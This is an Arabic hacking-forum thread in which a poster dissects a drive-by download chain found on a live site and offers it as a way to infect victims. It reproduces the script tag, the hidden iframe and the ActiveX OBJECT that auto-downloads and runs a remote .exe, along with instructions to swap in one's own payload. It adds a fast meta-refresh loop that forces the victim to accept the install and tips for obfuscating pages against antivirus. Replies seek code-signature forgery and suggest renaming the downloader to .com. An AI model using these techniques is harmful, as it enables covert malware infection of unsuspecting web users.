طريقة رهيبة للاختراق بالمتصفح "الباتش الموقع"

[halimox]

طريقة رهيبة للاختراق بالمتصفح "الباتش الموقع"

السلام عليكم

ثغرة خطيرة جدا ومضمونة 100 % لو استعملت بالطريقة الصحيحة
"الباتش الموقع"
اكتشفت الطريقة بالصدفة لدى زيارتي لموقع : http://www.seriall.com (احذروا)
عند زيارتي للموقع نبهني الكاسبر عن وجود عدد من الفايروسات والتروخانات والداونلودرات في جهازي
قمت باستخراج كود الHTML لصفحة الموقع وجدت في السطر 29 الكود التالي :

----------------------------------------------------------------------------------------------------------------------------------
<script language="JavaScript" type="text/javascript" src="http://code.trasferimento.biz/l/35.js"></script>
----------------------------------------------------------------------------------------------------------------------------------

قمت بتحميل (http://code.trasferimento.biz/l/35.js) وفتحته بالمفكرة فوجدت مايلي:

----------------------------------------------------------------------------------------------------------------------------------
<!--
document.write('<i***** style="display:none" width="1" height="1" src="http://code.trasferimento.biz/l/35.html"></i*****>');
-->
----------------------------------------------------------------------------------------------------------------------------------


قمت بزيارة الصفحة (http://code.trasferimento.biz/l/35.html) استخرجت الكود فوجدت ما يلي :

-------------------------------------------------------------------------------------------------------------------------------------------
<OBJECT id="A" codeBase="http://code.trasferimento.biz/l/d23101c2179b79a09f986d4cdaaa4719_35.exe" height="1" width="1" classid="CLSID:00000000-0000-0000-0000-100000000003"><PARAM NAME="id" VALUE="35"></OBJECT>
----------------------------------------------------------------------------------------------------------------------------------

وصلنا الان للاهم لان الكود السابق للجافا لم يكن الا تغطية وتمويه...

كود ال HTML يسمح بتحميل الباتش ونشغيله تلقائيا
ملاحظة:اذا استعمل برنامج DAP او "Internet Download Manager " فان التحميل يكون ظاهرا

رابط الباتش هو :
http://code.trasferimento.biz/l/d231...aaa4719_35.exe

قمت بتعويض الرابط في الكود بروابط لتحميل برامج اخري (paltalk .bearshare .....) فحملو وشغلو تلقائيا.
قمت بتعويض الرابط برابط الباتش الذي صممته فطلعت لي هذه الرسالة :


"ويندوز اقافت هذا البرنامج لان الايديتور مجهول" لاحظ الصورة:




لماذا ؟؟؟؟؟؟ هذا ما سنعرفه
اغلب البرامج تكون موقع من طرف شركات متخصصة "VeriSign مثلا "
يعني برنامج موقع =" برنامج آمن"

لكن كيف يمكن لباتش مليء بالفايروسات ان يكون موقعا ؟؟؟؟؟؟؟؟؟؟
هذه حقيقة وليست خيالا حمل باتش الموقع seriall.com وجرب بنفسك

لاحظ الصورة:



كليك باليمين علي الباتش واختر اخر اختيارتشاهد كما في الصورة :


تابع كما في الصور:








يمكن فصل التوقيع لوحده :




الشركة الموقع : UTN-USERFirst-Object

لاحضوا قراءة الهيكس للباتش :



لاحظوا الان الباتش الذي صممته :



الان السؤال الذي يبق مطروح كيف فعل صاحب الموقع لتوقيع الباتش ؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟

هل وقعه فعلا ام قام بتزوير التوقيع ؟؟؟؟
كيف فعل ؟؟؟؟ بالهيكس ؟؟
ليست لدي خبرة بالموضوع ... لذلك يبقى المجال مفتوح امام عباقرة التشفير والبرمجة والتحرير بالهيكس.
فصاحب موقع السيريال ليس افظل منا طبعا..

واذا توصلنا لحل فستكون كارثة حقيقية لانه توجد طرق كثيرة لتحميل الباتش وتشغيله عن طريق المتصفح دون ان يشعر الضحية بشيء (بشرط ان يكون الباتش موقع)

ملاحظة اخرى:
في بعض الاجهزة وفي بعض الاحيان (حسب الخيارات في "امن الانترنيت") عندما يكون البرنامج موقعا تخرج رسالة كما في الصورة:


لكنني وجدت لها الحل هو كود بسيط يكتب في اخر كود الhtml فيسبب مايلي :
اذا اختار الضحية no فسوف تخرج الرسال للمرة الثانية واذا اعاد no تخرج للمرة الثالثة والرابعة 5 6 7 ......... حتى للالف ولا يمكنه اغلاق الصفحة حتي اذا اختار نعم فيشغل الباتش لكن المشكلة ان الرسالة تخرج حتى اذا اختار نعم الكود هو:

-----------------------------------------------------------------
<meta http-&@#&@#&@#&@#&@#="&@#&@#&@#&@#&@#&@#&@#" &@#&@#&@#&@#&@#&@#&@#="0.1">
-----------------------------------------------------------------
&@#&@#&@#&@#&@#&@#&@#="1 يعني 1 ثانية
&@#&@#&@#&@#&@#&@#&@#="5 يعني 5 ثواني
&@#&@#&@#&@#&@#&@#&@#="0.1 يعني 0.1 ثانية (سريعة جدا) يعني لا يمكن للضحية غلق الصفحة بهذه السرعة.
ومن الافظل ان يكون الباتش داونلودر لتتم العملية بالسرعة اللازمة.


ملاحظة اخرى :
الصفحات الملغمة (exploit code html ) مكشوفة للحماية
لكن الحل بسيط
HTML Guardian
البرنامج يقوم بتشفير اكواد :
HTML, SHTML, JavaScript, VBScript, PHP ASP ....
برنامج سهل الاستعمال للتحميل :
http://www.protware.com/dl/HTMLGuardian.exe

وهناك طرق كثيرة جدا للتلغيم لكن المهم الان هو التوقيع

اترك الموضوع للمحترفين

[ياما بكتني الدنيا]

7
7
7
وربيـ ابداع منك يابطل


تحيآتيـ وان شاءالله يفيدونا

[Dr.Fatal]

كلامك صحيح وجربت الطريقة بس اذا فتح الصفحة لازم يضغط على تثبيت عنصر تحكم علشان يقدر يشتغل الباتش بس مثل ماقلت لازم يكون الملف موقع علشان يفتحـ,,


تحياتيـ،،

[almwhob2000]

الطريقة جميلة جدا ولكن ما هي مشكلة عناصر التحكم وهل يوجد حل

[almwhob2000]

يبقى مشكلة التوقيع

[htmmn]

halimox

مشكوووور أخي الكريم

بس ما في صور

بس بالنسبة للطريقة أنا صارلي فترة شغال فيها وقربت ان شاء الله

[shaparneck]

الكريم ارجوا وضع الصفحه النهائيه لكي يحملها الجميع لانك كما ترى يوجد الكثير من الناس الذين لا يفهمون ال html او ان ترينا كيف الطريقه الكامله لوضع الاكواد

وشكرا اخي

تقبل تحياتي
shaparneck

[shaparneck]

اما الرابط للباتش كل واحد بغيره حسب رابطه

=-=-=-=-=-=-=-=-

مشكور مره اخره يا سبع والله ارشح موضوعك للتثبيت

[][S.S][]

مشكووووووور خوي

[anonymous2005]

مشكووووووووووووووووووووووور

[halimox]

السلام عليكم
almwhob2000
" ما هي مشكلة عناصر التحكم وهل يوجد حل" الحل هو:
<meta http-&@#&@#&@#&@#&@#="&@#&@#&@#&@#&@#&@#&@#" &@#&@#&@#&@#&@#&@#&@#="0.1">
جرب بنفسك وسترى

htmmn
الصور موجودة يا اخي

shaparneck
هذا الكود لل html واكواد اخرى كثيرة لتلغيم الصفحات لا تشتغل الا بشرط واحد كما وضحت في الموضوع يعني الان المشكلة في الباتش... واذا لم نتوصل لحل لمشكلة "الباتش المجهول" لن تنفعنا طرق تلغيم الصفحات بشيء
وصاحب الموقع seriall.com وجد الحل طبعا .
لذلك يجب الصبر قليلا حتى يقوم اخواننا المختصين في لغات البرمجة ان يجدو الطريقة.
وشكرا

[gold shadow]

الله يعطيك العافية موضووع جميل جدا وقوي


لكن بدلت الرابط حق الصفحة الي الرابط حقي ولا اشتغل في الجهاز يعني جربتة على نفسي ولا نفع


جربت الباتش نفسه وجربت داونلودر برضووه ما نفع يعني هل انسخ الشهادة حقتة الي الباتش حقي ولا كيف ؟؟؟


تحياااااااااااااااااتي


gold shadow

[الملك18]

جاري التحليل ...

ويعطيك العافية على الموضوع اللذي يبين حرصك لتعم الفائدة ،،

[baderq8]

حول ملف الدوان لود بدال exe خله com عشان ما يطلع للي يدش الموقع سيف او اوبن

جربتها في موقع تغيم سابق وضبط معاي

[هكرز فاشل]

مشكووور ويعطيك العااافيه